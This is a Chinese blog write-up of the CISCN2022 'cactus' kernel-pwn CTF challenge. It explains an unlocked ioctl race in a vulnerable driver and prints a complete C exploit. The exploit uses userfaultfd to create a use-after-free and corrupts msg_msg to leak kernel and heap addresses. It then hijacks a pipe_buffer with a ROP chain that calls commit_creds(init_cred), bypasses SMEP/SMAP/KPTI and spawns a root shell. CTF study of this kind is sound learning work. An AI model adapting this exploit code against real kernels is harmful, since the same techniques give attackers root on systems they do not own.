【userfaultfd+msg_msg+pipe_buffer】CISCN2022-cactus

XiaozaYa

于 2023-10-10 10:16:32 发布

阅读量146

点赞数

分类专栏： # kernel-pwn 文章标签： kernel-pwn

本文链接：https://blog.csdn.net/qq_61670993/article/details/133737329

版权

kernel-pwn 专栏收录该内容

42 篇文章 2 订阅

订阅专栏

启动脚本：

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -monitor /dev/null \
    -append "root=/dev/ram console=ttyS0 oops=panic quiet panic=1 kaslr" \
    -cpu kvm64,+smep,+smap\
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic \
    -no-reboot \
    -s

开启了 smep、smap、kaslr 和 kpti 保护。经过测试，没有开启 slab_freelist_random 保护。

如何测试有没有开启 slab_freelist_random 等保护呢？很简单，自己写个驱动去测试就行了

程序分析

虽然 kernel_release 再释放 buffer 后没有置空，但是 kernel_open 中设置了 flags 字段导致我们无法同时打开多次设备文件。所以这里不会产生漏洞，而 kernel_read 和 kernel_write 都是针对 buffer 指针的，所以不做分析。

这里只分析可以利用的功能：kernel_ioctl

该函数实现了一个 1024 大小的菜单堆，分别有两次 add、edit、dele 的机会，但是整个过程都没有上锁。

可以利用的点主要在于 edit 时使用了 copy_from_user，并且整个过程都没有上锁。

漏洞利用

通过查看内核版本，发现其为 version 5.10.102，所以这里我们是可以使用 userfaultfd 系统调用的。

所以我们可以在 edit 时使用 userfaultfd 将其卡住，然后 dele 掉这个堆块，再将该堆块申请到其他结构体上，这时候我们就可以实现任意写的功能，但是这里只有两次机会。

msg_msg 泄漏内核基地址和堆地址

这里泄漏堆地址是为了后面利用 pipe_buffer 提权用的。

经过测试并没有开启 slab_freelist_random 保护，所以我们可以利用一次任意写去修改 msg_msg 的 m_ts 字段从而实现越界读，并且形成如下堆布局去泄漏内核基地址和堆地址：

所以通过越界读，我们可以读取 pipe_buffer 中的 anon_pipe_buf_ops 去泄漏内核基地址，通过 msg_msg_2 中的 prev 字段我们就可以泄漏 msg_msg_1 的堆地址。

pipe_buffer 提权

这时我们可以将 msg_msg_1 释放掉，所以下一次申请堆块时就会拿到该堆块，因此我们可以再利用一次任意写去劫持 pipe_buffer 进行提取。

exp如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>

#define PIPE_BUFFER_NUM 1
#define QID_NUM 1
#define GLOBAL_FUNC_TABLE 0xffffffff8203ed80
size_t pop_rdi = 0xffffffff8108c420; // pop rdi ; ret
size_t magic_gadget = 0xFFFFFFFF812C4CCE;
size_t swapgs_kpti = 0xFFFFFFFF81C00FCB;
size_t init_cred = 0xffffffff82a6b700;
size_t commit_creds = 0xffffffff810c9540;
size_t kernel_offset = 0;
size_t pipe_buffer_addr = 0;

int fd;
int qid;
int global_pipe_fd[2];
size_t uffd_buf[512];
pthread_t moniter_thr;
sem_t add_leak;
sem_t edit_leak;
sem_t add_hijack;
sem_t edit_hijack;
sem_t continue_sem;

struct args {
        size_t idx;
        size_t size;
        char* buf;
};

struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_header {
        void* l_next;
        void* l_prev;
        size_t m_type;
        size_t m_ts;
        void* next;
        void* security;
};

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    exit(EXIT_FAILURE);
}

void add(char* buf)
{
        struct args arg = { .size = buf };
        if (ioctl(fd, 0x20, &arg) < 0) err_exit("add object");
}

void dele(size_t idx)
{
        struct args arg = { .idx = idx };
        ioctl(fd, 0x30, &arg);
}

void edit(size_t idx, size_t size, char* buf)
{
        struct args arg = { .idx = idx, .size = size, .buf = buf };
        ioctl(fd, 0x50, &arg);
}


void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    char* args[] = { "/bin/sh", NULL };
    execve("/bin/sh", args, NULL);

//    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_rsp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void register_userfaultfd(void* buf, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) err_exit("syscall __NR_userfaultfd");

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) err_exit("ioctl UFFDIO_API");

        uffdio_register.range.start = (unsigned long)buf;
        uffdio_register.range.len = 0x1000;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) err_exit("ioctl UFFDIO_REGISTER");

        if (pthread_create(&moniter_thr, NULL, handler, (void*)uffd)) err_exit("pthread_create userfaultfd");
}


void leak(void* args)
{
        long uffd;
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;

        uffd = (long)args;

        for (;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) == -1) err_exit("poll in leak thread");


                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) err_exit("EOF in leak userfaultfd");
                if (res == -1) err_exit("read in leak thread");
                if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("err event in leak thread");

                info("Leak in userfaultfd");
                sem_post(&add_leak);
                uffd_buf[0] = 0xdeadbeef;
                uffd_buf[1] = 0xbeefdead;
                uffd_buf[2] = 1;
                uffd_buf[3] = 0x1000-0x30;
                sem_wait(&edit_leak);

                uffdio_copy.src = (unsigned long)uffd_buf;
                uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000-1);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ioctl UFFDIO_COPY in leak thread");
                sem_post(&continue_sem);
        }
}

void uaf_to_leak(void* args)
{
        struct msg_buf* msg;
        char msg_buffer[0x400];
        memset(msg_buffer, 'A', sizeof(msg_buffer));
        msg = (struct msg_buf*)msg_buffer;
        msg->m_type = 1;
        sem_wait(&add_leak);
        info("uaf_to_msgmsg");
        dele(0);
        qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
        if (qid < 0) err_exit("msgget in uaf_to_msgmsg");
        if (msgsnd(qid, msg, 0x400-0x30, 0) < 0) err_exit("msgsnd int uaf_to_msgmsg");
        sem_post(&edit_leak);
}

void hijack(void* args)
{
        long uffd;
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;

        uffd = (long)args;

        for (;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) == -1) err_exit("poll in hijack thread");

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) err_exit("EOF in hijack userfaultfd");
                if (res == -1) err_exit("read in hijack thread");
                if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("err event in hijack thread");

                info("Hijack in userfaultfd");
                sem_post(&add_hijack);
                uffd_buf[0] = 0;
                uffd_buf[1] = 0;
                uffd_buf[2] = pipe_buffer_addr+0x20;
                uffd_buf[3] = 0;
                uffd_buf[4] = pop_rdi+kernel_offset;
                uffd_buf[5] = magic_gadget+kernel_offset;
                uffd_buf[6] = pop_rdi+kernel_offset;
                uffd_buf[7] = init_cred+kernel_offset;
                uffd_buf[8] = commit_creds+kernel_offset;
                uffd_buf[9] = swapgs_kpti+kernel_offset;
                uffd_buf[10] = 0;
                uffd_buf[11] = 0;
                uffd_buf[12] = get_root_shell;
                uffd_buf[13] = user_cs;
                uffd_buf[14] = user_rflags;
                uffd_buf[15] = user_rsp;
                uffd_buf[16] = user_ss;
                sem_wait(&edit_hijack);

                uffdio_copy.src = (unsigned long)uffd_buf;
                uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000-1);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ioctl UFFDIO_COPY in hijack thread");
                sem_post(&continue_sem);
        }
}

void uaf_to_hijack_pipe_buffer(void* args)
{
        int res;
        sem_wait(&add_hijack);
        dele(0);
        info("uaf_to_pipe_buffer");
        res = pipe(global_pipe_fd);
        if (res < 0) err_exit("create pipe");
        res = write(global_pipe_fd[1], "pwnpwner", 8);
        if (res < 0) err_exit("write pipe");
        sem_post(&edit_hijack);
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        save_status();
        pthread_t leak_thr;
        pthread_t hijack_thr;
        char arg_buf[1024];
        size_t buf[1024];
//      size_t kernel_offset;
        int pipe_fd[PIPE_BUFFER_NUM][2];
        char *uffd_buf1;
        char *uffd_buf2;
        int res;
        int my_qid[QID_NUM];
        struct msg_buf* msg;
        struct msg_header* first_msg;
        struct msg_header* second_msg;
        char message[0x400];

        msg = (struct msg_buf*)message;
        fd = open("/dev/kernelpwn", O_RDWR);
        if (fd < 0) err_exit("open /dev/kernelpwn");

        uffd_buf1 = (char*)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1 , 0);
        uffd_buf2 = (char*)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1 , 0);
        register_userfaultfd(uffd_buf1, (void*)leak);
        register_userfaultfd(uffd_buf2, (void*)hijack);

        sem_init(&add_leak, 0, 0);
        sem_init(&edit_leak, 0, 0);
        sem_init(&add_hijack, 0, 0);
        sem_init(&edit_hijack, 0, 0);
        sem_init(&continue_sem, 0, 0);

        pthread_create(&leak_thr, NULL, uaf_to_leak, NULL);
        pthread_create(&hijack_thr, NULL, uaf_to_hijack_pipe_buffer, NULL);

        memset(arg_buf, 'A', sizeof(arg_buf));
        add(arg_buf);
        edit(0, 0x20, uffd_buf1);
        sem_wait(&continue_sem);

        for (int i = 0; i < PIPE_BUFFER_NUM; i++)
        {
                if (pipe(pipe_fd[i]) < 0) err_exit("create pipe");
                if (write(pipe_fd[i][1], "pwnpwner", 8) < 0) err_exit("write pipe");
        }

        for (int i = 0; i < QID_NUM; i++)
        {
                my_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
                if (my_qid[i] < 0) err_exit("msgget in uaf_to_msgmsg");
                msg->m_type = 1;
                *(int*)&msg->m_text[0] = 0xAAAAAAAA + 0x11111111*i;
                if (msgsnd(my_qid[i], msg, 0x400-0x30, 0) < 0) err_exit("msgsnd int uaf_to_msgmsg");
                msg->m_type = 2;
                *(int*)&msg->m_text[0] = 0xAAAAAAAA + 0x11111111*(i+1);
                if (msgsnd(my_qid[i], msg, 0x400-0x30, 0) < 0) err_exit("msgsnd int uaf_to_msgmsg");
        }

        res = msgrcv(qid, buf, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
        if (res < 0) err_exit("msgrev");
        hexx("msgrcv msgmsg length", res);
        binary_dump("msg_msg data", (char*)buf+8+0x400-0x30, 0xc00);
        if (buf[123+2] < 0xffffffff81000000 || (buf[123+2]&0xfff) != 0xd80) err_exit("No OOB the pipe_buffer");
        kernel_offset = buf[123+2] - GLOBAL_FUNC_TABLE;
        hexx("kernel_offset", kernel_offset);

        first_msg = (struct msg_header*)((char*)buf+8+0x400-0x30+0x400);
        second_msg = (struct msg_header*)((char*)buf+8+0x400-0x30+0x800);
        pipe_buffer_addr = second_msg->l_prev;
        if (*(int*)((char*)first_msg+0x30) != 0xaaaaaaaa) err_exit("the nearby object is not first_msg");
        if (*(int*)((char*)second_msg+0x30) != 0xbbbbbbbb) err_exit("the nearby object is not second_msg");
        hexx("first_msg->l_next", first_msg->l_next);
        hexx("first_msg->l_prev", first_msg->l_prev);
        hexx("second_msg->l_next", second_msg->l_next);
        hexx("second_msg->l_prev", second_msg->l_prev);
        hexx("pipe_buffer_addr", pipe_buffer_addr);

        for (int i = 0; i < QID_NUM; i++)
        {
                res = msgrcv(my_qid[i], buf, 0x400-0x30, 2, 0);
                if (res < 0) err_exit("msgrev unlink");
                hexx("msgrcv msgmsg length", res);
                res = msgrcv(my_qid[i], buf, 0x400-0x30, 1, 0);
                if (res < 0) err_exit("msgrev unlink");
                hexx("msgrcv msgmsg length", res);
        }

        add(arg_buf);
        edit(0, 0x100, uffd_buf2);
        sem_wait(&continue_sem);

        if (close(global_pipe_fd[0]) < 0) err_exit("close pipe");
        if (close(global_pipe_fd[1]) < 0) err_exit("close pipe");

        return 0;
}

打包运行即可完成提取：